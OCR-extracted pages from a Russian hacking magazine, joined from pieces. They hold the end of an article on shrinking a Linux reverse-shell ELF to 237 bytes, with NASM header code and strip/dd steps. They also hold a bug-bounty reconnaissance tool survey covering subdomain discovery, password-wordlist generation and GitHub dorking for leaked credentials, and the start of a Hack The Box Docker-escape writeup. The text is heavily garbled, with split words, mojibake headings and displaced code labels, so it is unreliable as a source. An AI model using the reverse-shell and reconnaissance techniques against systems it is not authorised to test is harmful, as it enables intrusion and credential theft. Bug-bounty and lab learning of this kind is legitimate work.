верим?

-n Do not page align data

Уби раем вырав нивание по стра нице

912 байт! Нам ного луч ше. Теперь код начина ется с физичес кого сме щения
. Что теперь? Приш ла пора поиг рать с сек циями.0x60

INFO

Ис ходный код на раз ных эта пах редак тирова ния
можешь поизу чать по исто рии ком митов.

Äà êîìó íóæíû ýòè SHT?

SHT — таб лица заголов ков сек ций (Section Header Table), хотя чаще мож но
встре тить прос то «таб лица сек ций» или «заголов ки сек ций». Здесь содер- 
жатся име на всех сек ций в фай ле, и озна комить ся с ними мож но, запус тив

.readelf -S

Сек ции нашего реверс-шел ла

От куда же взя лись еще сек ции, ведь в наших исходни ках была лишь сек ция 
 содер жащая код? Здесь нуж но пораз мышлять о том, как мы получи ли

исполня емый файл. Нап ример, что бы  смог най ти фун кцию ,
информа ция об этом дол жна где-то находить ся. И находит ся она в таб лице
сим волов в -фай ле, в сек циях  и .

,.text
ld _start()

.o .symtab .strtab

Ин форма ция о сим волах в переме щаемом эль фе

Как видишь, здесь при сутс тву ют все наши мет ки, ука зан ные в исходни ках.
А вот в исполня емом фай ле наличие таб лицы сим волов не явля ется необ- 
ходимым для работы. Поэто му к нему мож но без болез ненно при менить
коман ду  или исполь зовать ключ лин кера , что бы изба вить ся от сим- 
волов в нем. При этом, если «стрип нуть» сим волы в переме щаемом фай ле,
лин кер заруга ется на невоз можность най ти точ ку вхо да и соб рать исполня- 
емый эльф, что и логич но. Итак, сэконо мим еще чуть боль ше полови ны —
468 байт.

strip -s

Ре верс-шелл без информа ции о сим волах

Бо лее того, для кор рек тной работы бинаря не явля ется необ ходимой
информа ция о сек циях в прин ципе! Самый прос той спо соб изба вить ся
от них — вырезать их из исполня емо го фай ла «в лоб», нап ример с помощью

. К счастью
для нас, таб лица сек ций находит ся в кон це фай ла, поэто му это дела ется
без лиш них уси лий. В нашем слу чае она начина ется по сме щению 
(304).

dd if=./asm_shell of=./asm_shell_trunc bs=1 count=<N>

0x130

Го товим к пре пари рова нию

Но что бы не оста лось информа ции о том, что сек ции вооб ще были, сле дует
не толь ко обре зать SHT в кон це фай ла, но и занулить поля в заголов ке ELF-
фай ла, где ука заны сме щение таб лицы сек ций, раз мер записи в ней и их
количес тво (соот ветс твен но ,  и  в струк туре

). Они под чер кну ты на рисун ке выше. Более под робно об уда лении
заголов ков сек ций написа но в статье «

», а о самих сек циях мож но почитать, нап ример, в .

e_shoff e_shentsize e_shnum
ElfN_Ehdr

ELF — No Section Header?
No Problem бло ге Oracle

INFO

Струк тура ELF-заголов ка наг лядно пред став лена
на , с которой советую обя затель но
разоб рать ся, если ты дочитал досюда. Толь ко
имей в виду, что на ней рас смот рен 32-бит ный
эльф, раз меры отдель ных полей которо го мень- 
ше, чем в 64-бит ном.

этой схе ме

Те перь наш реверс-шелл занима ет 304 бай та. Выж мем еще?

«Óæèìàåì» èíñòðóêöèè

Об этом при еме зна ют те, кому при ходи лось писать шелл-код под буферы
огра ничен ного раз мера. Если же тебе это не осо бо близ ко, можешь озна- 
комить ся, нап ример, с  от SPbCTF. Если вкрат це:
за счет того, что дли на раз личных инс трук ций на x86 не оди нако ва, зачас тую
одно и то же на язы ке ассем бле ра мож но выразить по-раз ному. Вот один
из моих любимых при меров.

ма тери алом о шелл-кодах

Три бай та про тив семи

Да вай перес мотрим теперь наш код с этой точ ки зре ния. Безус ловно, с боль- 
шой веро ятностью пос тра дает его читабель ность, но хуже-то работать он
от это го не ста нет! В пер вую оче редь нуж но не записы вать малые чис ла нап- 
рямую в регис тры. У нас это пре иму щес твен но номера сис темных вызовов.

Рас точа емое прос транс тво

За мена инс трук ций вида  на  дей стви тель-
но поможет с сис колами, име ющи ми низ кие номера, но вот с чис лами, боль- 
шими ,  начина ет занимать 5 байт вмес то двух, к которым
добав ляет ся байт на . Сме щения в реверс-шел ле, как видишь, куда
боль ше это го зна чения, поэто му, пыта ясь таким обра зом сэконо мить на них,
мы боль ше потеря ем. А в некото рых слу чаях вмес то того, что бы помещать
нап рямую еди ницу в регистр, мож но прос то инкре мен тировать его, пред- 
варитель но не забыв занулить. Срав ни!

mov REG, IMM push IMM; pop REG

0x7f push IMM
pop REG

По меща ем еди ницу в ebx

Так же нам не нуж ны некото рые инс трук ции для ини циали зации регис тров,
потому что изна чаль но те все рав но зануле ны. А, к при меру, кон крет ными
зна чени ями наносе кунд сна и кода выхода при неудач ной попыт ке соеди- 
нения мож но пре неб речь — сок раща ем их. То, как мы кла дем на стек струк- 
туру , мож но тоже сок ратить и вмес то двух раз дель ных инс трук- 
ций на семей ство и номер пор та (которые в сум ме в струк туре занима- 
ют 4 бай та) положить их одним заходом.

sockaddr_in

Так наш код «похудел» еще на 25 байт и сос тавля ет 279 байт. Даль ше нас
ждет толь ко чис тое твор чес тво (и нем ного — тяготы поис ков).

Áîíóñ: ñïëîèòèì çàãîëîâêè

В заголов ке ELF есть мес то, которое по стан дарту запол няет ся нулями, и сис- 
тема не про веря ет эти зна чения при заг рузке и запус ке фай ла (чего не ска- 
жешь о ). Оно находит ся в самой пер вой стро ке —

 — и начина ется с десято го бай та ( ). Девятый байт
, опи сыва ющий «вер сию ABI для объ ектных фай лов», для нас

нереле ван тен, ведь мы пишем не под зоопарк ARM’ов. Так что мы можем
безопас но исполь зовать 8 байт, начиная с вось мого в фай ле. Это го как раз
хва тит на . Но как кор рек тно ука зать сме щение до него в коде,
не выс читывая и не меняя его руками?

не кото рых инс тру мен тах
e_ident EI_PAD
EI_ABIVERSION

"/bin/sh"

Здесь понадо бит ся изме нить парамет ры сбор ки. Пос коль ку мы соб рались
пра вить сам ELF-заголо вок, который вооб ще-то генери рует ся лин кером, то
при дет ся отка зать ся от его услуг. Как раз на такой слу чай NASM поз воля ет
ука зать «сырой» фор мат выход ного фай ла: 

. В этом слу чае он собира ет файл так, как тот опи сан
в исходни ке, не добав ляя к нему вооб ще никаких заголов ков. В дан ном слу- 
чае нуж но ука зать адрес, куда, как ожи дает ся, это доб ро будет заг ружено,
что бы NASM мог пра виль но вычис лить точ ку вхо да и про чие сме щения.
Для это го ука зыва ется дирек тива .

nasm -f bin asm_shell.asm -o 
asm_shell.raw

org 0x08048000
Еще одна вещь, которую мы впра ве поменять без вре да для работы

бинаря, — занулен ная ранее информа ция о таб лице сек ций. В ELF-заголов ке
находят ся под ряд такие поля:

,  (8 байт)• e_shoff e_flags
, ,  (6 байт)• e_shentsize e_shnum e_shstrndx

По ле  не опи сыва ет SHT; оно, сог ласно докумен тации, пред назна- 
чено для неких фла гов про цес сора. Но пос коль ку на текущий момент никакие
из них не опре деле ны, то со спо кой ной душой мы получа ем 8 байт из пер вой
цепоч ки полей. Туда как раз помес тится .

e_flags

NEW_ARGV
Во вто рую цепоч ку мож но вынес ти код, завер шающий про цесс

при неудач ном соеди нении (он занима ет 5 байт), а на его изна чаль ное мес то
помес тить , сэконо мив еще 3 бай та. Теперь наш соб ранный вруч- 
ную заголо вок выг лядит так:

jmp _exit

 org 0x08048000
ehdr:                       ; Elf32_Ehdr
    db 0x7F, "ELF"           ;   e_ident
      db 1, 1, 1, 0
BIN_SH:
    db "/bin/sh", 0
e_type:
   dw 2                     ;   e_type
   dw 3                     ;   e_machine
   dd 1                     ;   e_version
   dd _start                ;   e_entry
     dd phdr - $$             ;   e_phoff
NEW_ARGV:
    db "s0l3git", 0          ; e_shoff, e_flags
   dw ehdrsize              ;   e_ehsize
   dw phdrsize              ;   e_phentsize
   dw 1                     ;   e_phnum
_exit:
  push NR_EXIT              ;   e_shentsize
  pop eax                   ;   e_shnum
 ; exit_code = random :D   ;   e_shstrndx
  int 0x80
  db 0

       ehdrsize equ $ - ehdr
phdr:                       ; Elf32_Phdr
   dd 1                     ;   p_type
   dd 0                     ;   p_offset
   dd $$                    ;   p_vaddr
   dd $$                    ;   p_paddr
   dd filesize              ;   p_filesz
   dd filesize              ;   p_memsz
   dd 5                     ;   p_flags
   dd 0x1000                ;   p_align

       phdrsize equ $ - phdr
 ...

Пос ле всех манипу ляций бинарь име ет раз мер 254 бай та. Что мы теперь
можем пред при нять? Нап ример, поп робовать сде лать так, что бы ELF-заголо- 
вок и прог рам мный (PHT, Program Header Table) перек рывались, как пред лага- 
ется в уже упо мяну той статье «Size Is Everything». Это воз можно, пос коль ку
пос ледние 8 байт ELF-заголов ка иден тичны пер вым 8 бай там PHT, а те бай ты
ELF-заголов ка, что перек роют ся новыми зна чени ями, не игра ют кри тичес кой
роли для запус ка фай ла. Прав да, вынесен ный нами в заголо вок код 
тог да при дет ся вер нуть на мес то. Плюс еще неболь шая игра с регис тра ми,
и получа ем . Это, счи тай, двад цатая часть пер- 
воначаль ного раз мера!

_exit

ре верс-шелл на 237 байт

Вот и весь реверс-шелл

×ÒÎ ÌÛ ÂÛßÑÍÈËÈ?

Во-пер вых, при желании реверс-шелл может быть поч ти неп рилич но кро хот- 
ным. Во-вто рых, 32-бит ные про цес сы могут выпол нить  и стать 64-
бит ными. Заголов ки в ELF-фай лах могут перек рывать ся, и, если это сде лано
с умом, такой файл будет прек расно работать. А сме на про цес сом сво его
име ни может оставлять сле ды.

execve()

Пос коль ку у нас име ется рабочий обратный шелл, ему мож но навесить
поболь ше соот ветс тву ющей фун кци ональ нос ти. Нап ример, игно риро вание
сиг налов, прос тукива ние пор тов, шиф рование тра фика... Но это уже дру гая
исто рия.

WWW

Вот что еще может при годить ся, если тебе инте- 
рес ны глу боко сис темные вещи, подоб ные рас- 
смот ренным:

 и •Спе цифи кация фор мата ELF man elf
•Ог ромный чит шит по Linux и x86_64

 и солид ная 
о ком понов щиках

•Ввод ный матери ал се рия ста тей

 по сбор ке с исполь зовани ем NASM
и 

•За мет ка
ld

http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html
https://github.com/arjun024/tiny-elf
https://xakep.ru/2018/06/18/lets-write-a-kernel/#toc05.
http://em386.blogspot.com/2006/10/elf-no-section-header-no-problem.html
https://blogs.oracle.com/solaris/post/inside-elf-symbol-tables
https://raw.githubusercontent.com/corkami/pics/master/binary/elf101/elf101.pdf
https://youtu.be/iNaFskQrYrQ
https://github.com/eliben/pyelftools/issues/367
https://github.com/ksen-lin/arsh/blob/3b034e57ef591f71676c3f0acd51c4efbccffab8/arshell.asm
https://refspecs.linuxfoundation.org/elf/elf.pdf
https://github.com/Mic92/x86_64-linux-cheatsheats/
https://habr.com/ru/post/150327/
http://a3f.at/lists/linkers
https://gist.github.com/yellowbyte/d91da3c3b0bc3ee6d1d1ac5327b1b4b2
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ВЗЛОМ

Лю бой взлом начина ется со сбо ра информа ции о цели. Чем
быс трее и качес твен нее ты соберешь информа цию — тем
боль ше шанс най ти кру тую багу, зарепор тить ее пер вым
и получить воз награж дение. В отли чие от пен теста, в баг- 
баун ти учас тву ют сот ни тысяч людей одновре мен но, а сер- 
висы, которые у всех на виду, вдоль и поперек иссле дова ны,
и обна ружить там что-нибудь край не слож но. В этой статье я
рас ска жу об инс тру мен тах, которые помогут тебе про вес ти
раз ведку и соб рать мак сималь но мно го информа ции о цели.

ÏÎÈÑÊ ÏÎÄÄÎÌÅÍÎÂ

Каж дый под домен — это потен циаль ная цель, так что их поиск — один из пер- 
вых шагов при раз ведке. В боль ших ком пани ях, вро де IBM или Microsoft,
исполь зуют ся десят ки тысяч под доменов, и все их нуж но под держи вать
в акту аль ном сос тоянии, сво евре мен но ста вить обновле ния соф та и фик сить
баги. Как показы вает прак тика, о некото рых под доменах прос то забыва ют
или ста вят заг лушки, хотя весь кон тент при этом оста ется дос тупен. Кри- 
тичес кие уяз вимос ти, вро де RCE, SSTI, SSRF или XXE, чаще все го обна ружи- 
вают на под доменах. Чем боль ше ты их най дешь, тем шире будет повер- 
хность ата ки. Сущес тву ет очень мно го инс тру мен тов для их поис ка, поэто му я
рас смот рю толь ко те, которые прош ли про вер ку в боевых усло виях и показа- 
ли себя эффектив ными на раз ных прог раммах bug bounty.

Chaos

Сайт про екта

INFO

Сей час про ект недос тупен для широкой пуб лики,
но, если ты готов подож дать,  заяв ку. Вла- 
дель цы высыла ют инвай ты всем жела ющим каж- 
дые две недели по понедель никам.

по дай

Нач нем с вари анта для ленивых. Ути лита Chaos собира ет информа цию
обо всех пуб личных прог раммах, находя щих ся на извес тных баг баун ти-плат- 
формах, вро де , , .Bugcrowd HackerOne Intigrity

Chaos

На момент написа ния статьи на сай те есть 513 прог рамм. Информа ция пос- 
тоян но обновля ется, так что ты всег да будешь видеть акту аль ную.

WWW

Ес ли любишь работать с кон солью, то у Chaos
есть удоб ный .кли ент

По иск и сор тиров ка по прог раммам реали зова ны очень удоб но. Нап ример,
мож но пос мотреть толь ко те прог раммы, которые пред лага ют воз награж- 
дение за най ден ные уяз вимос ти или име ют мно го под доменов, или отсле дить
новые прог раммы, что бы успеть зай ти пер вым и снять вишен ку с тор та.
В отли чие от боль шинс тва сай тов, свя зан ных с раз ведкой, он бес плат ный.

 

 

 

chaos -d uber.com -silent

restaurants.uber.com 
testcdn.uber.com 
approvalservice.uber.com 
zoom-logs.uber.com 
eastwood.uber.com 
meh.uber.com 
webview.uber.com 
kiosk-api.uber.com 
...

recon.dev

Сайт про екта
Еще один сайт, который поможет соб рать мно го полез ной информа ции

о под доменах. В отли чие от Chaos, бес плат но recon.dev показы вает толь ко
пер вые 20 резуль татов поис ка. За осталь ные при дет ся зап латить, одна ко
цена за получен ный набор дан ных неболь шая.

recon.dev

subfinder

Ска чать с GitHub
Subnder счи тает ся потом ком  — ути лита тоже собира ет информа- 

цию о под доменах, исполь зуя мно жес тво пас сивных онлай новых источни ков,
таких как Baidu, Bing, Censys. Для некото рых источни ков пот ребу ется внес ти
клю чи от API в файл кон фигура ции (

).

sublist3r

$HOME/.config/subfinder/config.
yaml

Subnder име ет удоб ную модуль ную архи тек туру и написан на Go, так что
очень быс тро работа ет.

Subnder

ÑËÎÂÀÐÈ

Пе ред тем как начинать раз ведку, сто ит запас тись пач кой доб ротных сло- 
варей. От выбора хороше го сло варя зависит мно гое: чем боль ше будет соб- 
рано скры тых парамет ров, под доменов, дирек торий и фай лов, тем выше
шанс обна ружить какую-нибудь брешь в безопас ности.

В интерне те мож но най ти огромное количес тво сло варей, но не все они
эффектив ны. Занима ясь некото рое вре мя баг баун ти и поп робовав при этом
раз ные сло вари, я для себя выделил нес коль ко очень инте рес ных вари антов,
которые не раз меня выруча ли и помога ли обна ружить мес та, до которых
еще не доходи ли дру гие охот ники за багами.

fuzz.txt

Ска чать с GitHub
Я всег да начинаю с fuzz.txt, который содер жит спи сок потен циаль но опас- 

ных фай лов и дирек торий. Сло варь прак тичес ки каж дый месяц допол няет ся
новыми сло вами. Про ходит ся быс тро, а за счет это го мож но ско рее начать
ковырять наход ки и парал лель но пос тавить переби рать дру гие, более объ- 
емные спис ки. Сло варь содер жит 4842 сло ва, но, по опы ту, имен но он
отлично под ходит для пер воначаль ного иссле дова ния веб-при ложе ния.

SecLists

Ска чать с GitHub
SecLists — это целая кол лекция сло варей, которые очень при годят ся

не толь ко в баг баун ти, но и при пен тесте. Сло вари вклю чают в себя юзер ней- 
мы, пароли, парамет ры URL, под домены, веб-шел лы и мно гое дру гое. Я нас- 
тоятель но рекомен дую пот ратить нем ного вре мени на деталь ное изу чение
содер жимого кол лекции.

Стра ница про екта

WWW

Ес ли в сво бод ное от работы вре мя ты тоже реша- 
ешь тач ки на , то 

 прос то незаме ним.
Hack The Box directory-list-

lowercase-2.3-medium.txt

Assetnote Wordlists

Сайт про екта
Еще одна клас сная под борка сло варей для обна руже ния раз ного рода

кон тента и под доменов. Сло вари генери руют ся 28-го чис ла каж дого месяца
с помощью  и .commonspeak2 GitHub Actions

Assetnote

По мимо авто мати чес ки сге нери рован ных под борок, на сай те так же есть сло- 
вари, соз данные вруч ную, с помощью Google BigQuery.

Ñàìîñòîÿòåëüíàÿ ãåíåðàöèÿ

Час тень ко при ходит ся генери ровать собс твен ные сло вари. Написать скрипт,
конеч но, не сос тавит тру да, но зачем изоб ретать велоси пед?

Есть мно го инс тру мен тов для генера ции сло варей, но из все го мно жес тва
я исполь зую . Тул за пред лага ет боль шой набор фун кций, бла года ря
которым мож но соз дать иде аль ный сло варь прак тичес ки для любой ситу ации.
Помимо это го, Pydictor уме ет срав нивать фай лы, под счи тывать час тоту слов
и объ еди нять нес коль ко сло варей в один.

Pydictor

Да вай раз берем при мер. Пред положим, мы зна ем, что пароль — модифи- 
циро ван ная вер сия сло ва  и может содер жать:Password

вмес то  знак ;• а @
вмес то  ;• о 0
в кон це от одно го до трех чисел.•

Ге нери рует ся такой сло варь с помощью сле дующей коман ды:

 
 

./pydictor.py --conf '[P[a,@]{1,1}<none>ssw[o,0]{1,1}<none>rd[0-9]{1,
3}<none>' --output /home/kali/Desktop/pydict 

Здесь  озна чает, что ути лите не нуж но делать никаких допол нитель ных
дей ствий с под ста новоч ной ком бинаци ей.

<none>

В кон це Pydictor выводит крат кую свод ку по про цес су генера ции. Не то что бы
очень важ ная инфа, но чувс тву ется забота раз работ чика.

ÑÊÀÍÅÐÛ ÏÎÐÒÎÂ

Прой тись по всем пор там в поис ках инте рес ного — милое дело во вре мя баг- 
баун ти. Если получит ся най ти никем ранее не иссле дован ное при ложе ние —
еще луч ше! При этом не сто ит забывать, что даже внеш не безобид ные пор ты
могут скры вать что-то не впол не ожи даемое. Я, нап ример, находил HTTP-
сер вис на 22-м пор те: туда даже бра узе ром зай ти нель зя, толь ко через curl
или wget!

Ес ли ско уп не осо бен но боль шой, то для ска на подой дет , который
точ но не нуж дает ся в пред став лении. Но что делать, если хос тов очень мно- 
го? Нес мотря на то что Nmap — мощ ный инс тру мент, у него есть сущес твен- 
ный недос таток — он . Аль тер натива, но не кон курент —

: он быс трый, но не нас толь ко фун кци ональ ный, как Nmap. Что бы ска- 
ниро вание пор тов было дей стви тель но быс трым и эффектив ным, мож но
исполь зовать оба ска нера вмес те. Как? Сей час покажу!

Nmap

ìåä ëåííûé

masscan

MassMap

Ска чать с GitHub
MassMap поз воля ет прос каниро вать боль шое количес тво IP-адре сов

со ско ростью masscan и тща тель ностью Nmap. MassMap написан на Bash, так
что для его исполь зования тебе не при дет ся ничего ком пилиро вать.

Пе ред началом ска ниро вания скрипт про верит наличие все го необ- 
ходимо го для работы, а при отсутс твии чего-либо — авто мати чес ки доус- 
тановит.

Ал горитм прост: сна чала с помощью masscan ска ниру ются все 65 535
TCP-пор тов по передан ному спис ку IP-адре сов. Пос ле это го Nmap про ходит- 
ся по най ден ным откры тым пор там (в том чис ле с исполь зовани ем скрип тов),
выдавая уже рас ширен ную информа цию по каж дому. Резуль тат мож но сох- 
ранить в удо бочи таемом фор мате.

MassMap

Стра нич ка с резуль татами

Так как скрипт — это фак тичес ки обер тка над ска нера ми, ты можешь изме- 
нить любые парамет ры, добавить какие-то свои тул зы, в общем, тво рить
и улуч шать как хочешь!

dnmasscan

Ска чать с GitHub
Dnmasscan — это еще один скрипт на Bash для авто мати чес кого резол- 

винга домен ных имен и пос леду юще го их ска ниро вания с помощью masscan.
Пос коль ку masscan не при нима ет домен ные име на, скрипт соз дает файл,
в котором записа ны IP-адре са доменов.

Вы вод dnmasscan

Продолжение статьи →

mailto:alex.kaledinov@gmail.com
https://chaos.projectdiscovery.io/#/
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https://www.hackerone.com/
https://www.intigriti.com/
https://github.com/projectdiscovery/chaos-client
https://recon.dev/
https://github.com/projectdiscovery/subfinder
https://github.com/aboul3la/Sublist3r
https://github.com/Bo0oM/fuzz.txt/blob/master/fuzz.txt
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https://github.com/capt-meelo/MassMap
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ИНСТРУМЕНТЫ

РАЗВЕДЧИКА
ПОДБИРАЕМ ПОЛЕЗНЫЕ УТИЛИТЫ

ДЛЯ РАЗВЕДКИ ПРИ ОХОТЕ ЗА БАГАМИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÔÀÉËÛ, ÄÈÐÅÊÒÎÐÈÈ, ÏÀÐÀÌÅÒÐÛ

Под домены и айпиш ники соб раны — самое вре мя начать их иссле довать. Тут
в основном исполь зуют ся вся кого рода бру теры, которые ана лизи руют отве- 
ты, что бы понять, сущес тву ет ли иско мый путь или параметр.

Gobuster

Ска чать с GitHub
Gobuster — это один из самых мощ ных и извес тных инс тру мен тов

для поис ка фай лов и дирек торий на сай тах. Одна ко, если бы все его спо соб- 
ности огра ничи вались бру том путей и срав нени ем кодов отве тов, ты бы и сам
мог накидать такой же на питоне минут за пять, а gobuster уме ет так же
переби рать под домены, име на вир туаль ных хос тов на целевом веб-сер вере,
а еще откры тые хра нили ща Amazon S3.

Gobuster

GoSpider

Ска чать с GitHub
GoSpider — это мно гофун кци ональ ный веб-паук, так же написан ный на Go.

Ути лита уме ет пар сить  и , искать под домены в отве- 
те и получать ссыл ки из . Еще GoSpider под держи- 
вает парал лель ный кра улинг нес коль ких сай тов, что очень уско ряет про цесс
сбо ра информа ции.

robots.txt sitemap.xml
Internet Wayback Machine

GoSpider

Ïîèñêîâèêè

Пер вую свою багу, за которую мне зап латили, я обна ружил имен но бла года ря
поис ковикам. Быва ет, что ни gobuster, ни GoSpider не дают никаких резуль- 
татов. Но если тул зы ничего не находят, это еще не озна чает, что на сай те
дей стви тель но ничего нет.

В слож ных слу чаях на помощь час то при ходят поис ковики: дос таточ но
прос то вбить в них  — и поис ковый робот вывалит тебе
готовый спи сок. Мно гие фай лы и дирек тории никог да не были бы обна руже- 
ны, если бы не поис ковики.

site:site.com

Важ но исполь зовать сра зу нес коль ко поис ковиков (да, сущес тву ет
не толь ко Google, но и Bing, и Yahoo), потому что каж дый может показать раз- 
ные резуль таты.

Да вай пос мотрим поис ковую выдачу для сай та .
В Google будет все го два резуль тата.

iom.bus.att.com

Гуг лим

А теперь тот же самый зап рос в Bing.

Бин го!

Как видишь, в выдаче уже девять резуль татов вмес то двух. Мораль:
не забывай, что, помимо Google, сущес тву ют и дру гие поис ковики! :)

arjun

Ска чать с GitHub
Аrjun уме ет находить скры тые парамет ры зап росов для задан ных эндпо- 

интов. Вот некото рые осо бен ности:
под держи вает зап росы GET, POST, POST-JSON, POST-XML;•
эк спор тиру ет резуль таты в Burp Suite, тек сто вые или JSON-фай лы;•
ав томати чес ки обра баты вает rate limits и тайм-ауты.•

Arjun

INFO

Об Arjun мы , пусть и не осо бен но под- 
робно. Зато в той статье ты можешь под смот реть
дру гие год ные инс тру мен ты!

уже писали

INTERNET WAYBACK MACHINE

Wayback Machine — это гро мад ный архив веб-стра ниц, содер жащий
более 330 мил лиар дов сох ранен ных копий, и все они про индекси рова ны
для удоб ного поис ка. Про ект сох раня ет исто ричес кие вер сии, бла года ря
чему ты можешь вер нуть ся на мно го лет назад и пос мотреть, как выг лядит
инте ресу ющий тебя сайт.

Чем это может быть полез но для охот ника за багами? Нап ример, быва ет
любопыт но заг лянуть в ста рые фай лы . В нем ука зыва ются эндпо- 
инты, которые не дол жны индекси ровать поис ковики, и со вре менем этот спи- 
сок меня ется.

robots.txt

Wayback Machine все это потихонь ку архи виру ет, и ста рые эндпо инты
впол не могут ока зать ся рабочи ми, так что было бы прес тупле нием не вос- 
поль зовать ся такой воз можностью получить от самих хозя ев сай та спи сок
заведо мо инте рес ных локаций!

Waybackrobots

Ска чать с GitHub
Waybackrobots — это удоб ный и очень прос той скрипт, который авто мати- 

зиру ет про цесс получе ния ста рых вер сий robots.txt. Обя затель ный параметр
у него все го один: , он ука зыва ет домен, под который нуж но копать.-d

Waybackrobots

wbk.go

Ска чать с GitHub
У Wayback Machine, сре ди про чего, есть спи сок всех URL, которые он

собирал для домена. Нап ример, ты можешь получить спи сок всех урлов,
которые машина заар хивиро вала для .tesla.com

Скрипт wbk.go авто мати чес ки извле чет урлы, заар хивиро ван ные в Wayback
Machine, для нуж ного тебе домена.

go run wbk.go tesla.com 

Де монс тра ция работы

GITHUB

GitHub — это, счи тай, отрасле вой стан дарт для кон тро ля вер сий и сов мес- 
тной работы над про ектом. Мил лионы раз работ чиков нес коль ко раз за один
день вно сят изме нения в код на GitHub, и далеко не всег да они смот рят, что
имен но заг ружа ют. Быва ет, что они слу чай но забыва ют уда лить учет ные дан- 
ные — логины, пароли и самые раз ные токены.

Ты навер няка не раз стал кивал ся с Google dorks. В GitHub тоже есть свои
дор ки, которые мож но исполь зовать для поис ка вкус ных дан ных, вро де API-
клю чей.

INFO

По теме Google dorks читай так же:
•Google как средс тво взло ма. Раз бира ем акту- 

аль ные рецеп ты Google Dork Queries
•Ис поль зуем мало извес тные фун кции Google,

что бы най ти сок рытое
•Смот ри во все гла за. Как взла мыва ют IP-

и веб-камеры и как от это го защитить ся

gdorklinks.sh

Ска чать с GitHub Gist
Прос той скрипт, который генери рует ссыл ки поис ка по GitHub с дор ками.

В качес тве парамет ра необ ходимо ука зать имя или сайт ком пании. На выходе
получишь готовые ссыл ки, которые прос то необ ходимо вста вить в бра узер
и изу чить получен ную информа цию.

gdorklinks.sh

GirDorker

Ска чать с GitHub
GitDorker не прос то генери рует ссыл ки, а сра зу ищет информа цию,

исполь зуя  и обширный спи сок дор ков, которых на дан ный
момент 513. Этот инс тру мент мож но наз вать более прод винутым вари антом
пре дыду щего скрип та.

GitHub Search API

Для работы пот ребу ется завес ти , а луч ше
минимум два таких токена. Это свя зано с тем, что поис ковый API огра- 
ничен 30 зап росами в минуту: если токен все го один, очень быс тро упрешь ся
в лимиты.

GitHub Personal Access Token

GitDorker

ÔÐÅÉÌÂÎÐÊÈ

Ког да дол гое вре мя занима ешь ся баг баун ти или пен тестом, раз ведка
начина ет прев ращать ся в рутину. Тут неволь но задума ешь ся об авто мати- 
зации. Ниже мы погово рим о фрей мвор ках, которые прак тичес ки пол ностью
авто мати зиру ют раз ведку.

Sudomy

Ска чать с GitHub
Sudomy — это без пре уве личе ния мощ ный Bash-скрипт. Он вклю чает

в себя мно жес тво инс тру мен тов для ана лиза, перебо ра, поис ка под доменов.
Сбор информа ции может делать пас сивно или активно.

Для активно го метода скрипт исполь зует gobuster из-за его высокой ско- 
рос ти брут форса. При бру те под доменов при меня ется сло варь из SecLists
(Discover/DNS), который содер жит око ло трех мил лионов записей. В пас- 
сивном методе информа ция собира ется из 22 источни ков, в том чис ле

, ,  и .Censys SpySe DNSdumpster VirusTotal
Что бы пол ностью разоб рать Sudomy, понадо бит ся еще одна статья,

поэто му я прос то ска жу, что он уме ет:
про веря ет, воз можно ли лег ко зах ватить под домен;•
иден тифици рует тех нологии, исполь зуемые сай том;•
об наружи вает пор ты, урлы, заголов ки, дли ну содер жимого, код сос тояния
HTTP;

•

про веря ет при над лежность IP к Cloudare;•
мо жет отправ лять уве дом ления в Slack;•
ска ниру ет пор ты с соб ранных IP-адре сов, под доменов, вир туаль ных хос- 
тов.

•

WWW

Пол ный гайд по Sudomy, соз данный раз работ- 
чиком (PDF)

Для при мера давай прос то запус тим скрипт с парамет рами  (запус тить
все перечис ления) и  (сфор мировать отчет в HTML). Пос мотрим, что
он най дет, нап ример, для .

--all
--html

hackerone.com

Ре зуль таты

Прак тичес ки всю най ден ную информа цию мож но пос мотреть в сге нери- 
рован ном скрип том отче те с хорошей струк турой и очень дру желюб ным
интерфей сом.

Reconftw

Ска чать с GitHub
Reconftw — это очень боль шой скрипт, который авто мати зиру ет бук валь но

все: от раз ведки до поис ка уяз вимос тей. Он воб рал в себя луч шие тул зы,
которы ми поль зуют ся охот ники за багами, вклю чая опи сан ные в статье. Вот
лишь малая часть того, что он уме ет:

ис кать URL на сай те;•
со бирать информа цию о под доменах;•
ис кать откры тые бакеты S3 и дам пить их содер жимое;•
про верять наличие XSS, SSRF, CRLF, LFI, SQLi и дру гих уяз вимос тей;•
про верять, есть ли на сай те WAF;•
от прав лять опо веще ния в Slack, Discord и Telegram;•
ис кать парамет ры URL.•

ÇÀÊËÞ×ÅÍÈÅ

Ес тес твен но, в статье рас смот рены далеко не все инс тру мен ты для рекона.
Эти, на мой взгляд, самые год ные из тех, с которы ми работаю я, но у тебя
могут быть луч шие инс тру мен ты. Если тебе это го мало — заг ляни в репози- 
тории  и .KingOfBugbounty nahamsec

Не стес няй ся делить ся опы том в ком мента риях, а если готов написать
целую статью, то ты зна ешь, !что делать

https://github.com/OJ/gobuster
https://github.com/jaeles-project/gospider
https://archive.org/web/
https://github.com/s0md3v/Arjun
https://xakep.ru/2018/08/07/x-tools-233/#toc03.
https://github.com/vodafon/waybackrobots
https://github.com/m4ll0k/BBTz/blob/master/wbk.go
https://xakep.ru/2017/09/21/google-dorks/
https://xakep.ru/2015/07/08/google-hidden-functions/
https://xakep.ru/2017/04/27/hack-cams/
https://gist.github.com/jhaddix/1fb7ab2409ab579178d2a79959909b33#file-gdorklinks-sh
https://github.com/obheda12/GitDorker
https://docs.github.com/en/rest/reference/search
https://docs.github.com/en/github/authenticating-to-github/keeping-your-account-and-data-secure/creating-a-personal-access-token
https://github.com/screetsec/Sudomy
https://censys.io/
https://spyse.com/
https://dnsdumpster.com/
https://www.virustotal.com/
https://github.com/Screetsec/Sudomy/blob/master/doc/Sudomy%20-%20Subdomain%20Enumeration%20%26%20Analaysis%20User%20Guide%20v1.0.pdf
https://github.com/six2dez/reconftw
https://github.com/KingOfBugbounty/KingOfBugBountyTips
https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters
https://xakep.ru/2020/01/16/new-authors/


HTB
THENOTEBOOK

СОВЕРШАЕМ ПОБЕГ ИЗ DOCKER,
ЧТОБЫ ЗАХВАТИТЬ РУТ

RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

В этой статье мы на при мере сред ней
по слож ности машины TheNotebook с Hack
The Box порабо таем с тех нологи ей JSON
Web Token, про экс плу ати руем уяз вимость
при заг рузке фай лов на сер вер и пос- 
мотрим, как работа ет одна из тех ник Docker
Breakout — побега из кон тей нера Docker.

WARNING

